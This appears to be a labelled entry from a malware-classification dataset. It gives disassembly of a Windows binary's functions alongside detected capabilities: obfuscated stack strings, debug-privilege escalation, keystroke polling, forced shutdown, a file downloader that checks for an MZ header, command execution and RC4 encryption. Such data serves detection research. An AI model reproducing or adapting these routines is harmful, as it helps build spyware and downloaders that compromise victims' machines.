joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push esi
push str.RegQueryValueExA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov cl, 0x45
mov esi, eax
mov eax, 4
mov byte [esp + 0x27], cl
mov byte [esp + 0x2a], cl
mov cl, 0x49
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2e], cl
mov byte [esp + 0x31], cl
mov cl, 0x74
mov byte [esp + 0x21], al
mov byte [esp + 0x23], bl
mov byte [esp + 0x25], al
mov byte [esp + 0x29], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x38], cl
mov byte [esp + 0x3f], cl
mov cl, 0x72
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x34], al
mov byte [esp + 0x35], bl
mov byte [esp + 0x3b], al
mov byte [esp + 0x4c], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4b], cl
lea eax, [esp + 8]
lea ecx, [esp + 0x20]
mov byte [esp + 0x22], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x37], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], dl
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x59], 0x30
mov byte [esp + 0x5a], bl
call dword [0x477d88]
mov byte [esp + 0x18], 0x7e
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x48
mov byte [esp + 0x1b], 0x7a
mov byte [esp + 0x1c], bl
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push ebx
push edx
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call dword [0x477d38]
mov eax, dword [esp + 0x14]
pop esi
pop ebx
add esp, 0x48
ret
Function at 0x40d7c0
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [esp + 0x44c]
mov esi, dword [esp + 0x448]
mov ecx, ebp
mov edx, eax
mov ebx, ecx
xor eax, eax
mov edi, esi
mov byte [esp + 0x18], 0x53
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
mov bl, 0x74
and ecx, 3
mov byte [esp + 0x19], 0x59
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x1a], 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x23], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x33], cl
push eax
lea ecx, [esp + 0x1c]
lea eax, [esp + 0x44]
push ecx
push eax
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x43
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], 0x53
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x3d], 0x53
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x47], 0x73
mov byte [esp + 0x48], 0
call edx
push 0
push ebp
push 0
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0
push esi
lea ecx, [esp + 0x2c]
push 1
lea edx, [esp + 0x60]
push ecx
push edx
push reloc.WS2_32.dll_bind
call fcn.0040b280
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40d926
push ebp
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x40d940
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x22c
push ebx
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov byte [esp + 0x24], 0x67
mov dword [esp + 0x100], 0
mov dword [esp + 0x28], 0x9c
call dword [0x478aa4]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x138]
push 0x100
push ecx
push edx
call fcn.0040d7c0
mov ebx, dword [esp + 0x24c]
xor eax, eax
mov dword [esp + 0x1c], eax
add esp, 0xc
mov dword [esp + 0x14], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
lea esi, [esp + 0x138]
mov dword [esp + 0xc4], ecx
mov ecx, 0xc
lea edi, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.0040d600
mov dword [esp + 0xc0], eax
call fcn.0040d770
mov edi, dword [esp + 0x248]
mov dword [esp + 0xfc], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x244]
push pe_nt_image_headers32
not ecx
sub edi, ecx
mov dword [esp + 0x104], edx
lea edx, [esp + 0x108]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
mov ecx, ebx
call fcn.00403940
pop edi
pop esi
pop ebx
add esp, 0x22c
ret
Function at 0x40f6d0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.0040fad0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x40f727
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [0x478bd0]
push edi
call dword [0x478bcc]
add esi, 4
cmp esi, ebx
jb 0x40f6f8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.0040fad0
add esp, 8
push 0x64
call dword [0x478bc8]
mov ecx, edi
call fcn.0040f510
mov ecx, edi
call fcn.0040f540
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x40f850
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.0040fad0
add esp, 8
push esi
push 2
call dword [0x478bb8]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x40f8b5
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7f
mov ebp, 1
call dword [0x478bb4]
test eax, eax
je 0x40fa08
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40f9f4
cmp eax, 4
je 0x40f9f4
cmp eax, 8
je 0x40f9f4
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call dword [0x478bc0]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call dword [0x478bc4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x144]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebx
lea edi, [eax + ebp]
call dword [0x478bd4]
cmp eax, edi
jae 0x40f97f
push 0x42
push edi
push ebx
call dword [0x478bb0]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call esi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebp, [eax + ebp + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [0x478bbc]
test eax, eax
jne 0x40f8ea
push 0x42
push ebp
push ebx
call dword [0x478bb0]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.0040fad0
add esp, 8
push edi
call dword [0x478bcc]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x40fb60
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.0040fad0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.0040fad0
add esp, 8
ret
Function at 0x410200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [0x478be4]
mov ebx, eax
cmp ebx, edi
jne 0x4102bb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push closesocket
push edi
push edi
push ecx
push ebx
call dword [0x478be8]
mov ebp, eax
cmp ebp, edi
jne 0x4102e5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [0x478bdc]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x410371
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [0x478be0]
test esi, esi
je 0x410337
cmp word [esp + 0x3c], 0x5a4d
jne 0x41035e
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [0x478bd8]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x410366
jmp 0x410307
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [0x478c0c]
push ebp
call dword [0x478bec]
push ebx
call dword [0x478bec]
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x433950
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4da8cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004cf64c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4339d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004cd59b
mov eax, dword [eax]
push 0x6cf280
push eax
call fcn.004bbef4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004cf8d7
test bl, bl
je 0x4339d2
push 0x6cf280
lea ecx, [esp + 0xc]
call fcn.004cfc67
push 0x6d2de4
lea ecx, [esp + 0xc]
call fcn.004cfc67
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x433a0e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004cf8d7
jmp 0x433ad9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x433a92
lea edx, [esp + 0x7c]
push 0x6d2de0
push edx
call fcn.004bbef4
add esp, 8
test eax, eax
je 0x433a92
lea eax, [esp + 0x7c]
push 0x6d2ddc
push eax
call fcn.004bbef4
add esp, 8
test eax, eax
je 0x433a92
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x433a22
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004cf8d7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4342d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x434332
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x434340
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4da94b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x727690]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x434478
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4343a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004cf8d7
xor eax, eax
jmp 0x4344ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004cfa14
push esi
lea ecx, [esp + 0xc]
call fcn.004cfca3
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4344cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004342d0
test eax, eax
jne 0x4344cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004342d0
test eax, eax
jne 0x4344cd
lea eax, [esp + 0x14]
push 0x6d2df8
push eax
call fcn.004bd040
mov esi, eax
add esp, 8
test esi, esi
jne 0x4344ac
lea ecx, [esp + 0x14]
push 0x6d2df4
push ecx
call fcn.004bcfc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4344ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4344af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004cf9c4
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4343be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004cf8d7
xor eax, eax
jmp 0x4344ef
mov byte [esi], 0
push 0x6d2df0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004cf8d7
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x444f50
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x444fbe
cmp si, 0x69
ja 0x444fbe
add esi, 0xffd0
cmp si, 0x11
je 0x444f8e
push 0x11
call edi
test ax, ax
jge 0x444f8e
or esi, 0x2000
cmp si, 0x10
je 0x444fa3
push 0x10
call edi
test ax, ax
jge 0x444fa3
or esi, 0x4000
cmp si, 0x12
je 0x444fb8
push 0x12
call edi
test ax, ax
jge 0x444fb8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x444fcb
mov esi, 0xbd
jmp 0x444f7f
cmp si, 0x6e
jne 0x444fd8
mov esi, 0xbe
jmp 0x444f7f
cmp si, 0x6f
jne 0x444f79
mov esi, 0xbf
jmp 0x444f7f

Function at 0x446890
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7381e8]
xor edx, edx
cmp eax, edx
jne 0x4468b6
xor eax, eax
mov byte [eax + 0x7380e8], al
inc eax
cmp eax, 0x100
jl 0x44689e
mov dword [0x7381e8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7380e8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x446947
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44691a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4468e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x446950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4469a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44698a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44d730
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x44d8c8
cmp ebp, ebx
jle 0x44d8c8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x44d78e
dec eax
or eax, 0xfffffff8
inc eax
je 0x44d795
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x44d7a4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x44d7ab
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004cf618
add esp, 4
cmp eax, ebx
je 0x44d7cc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004cf618
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x44d8be
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x44d8a5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x44d891
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x44d886
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x44d894
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x44d894
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x44d830
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x44d821
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x450bf0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4dbed8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x450c29
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004d6fef
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004d703b
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00450cb0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004d7078
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24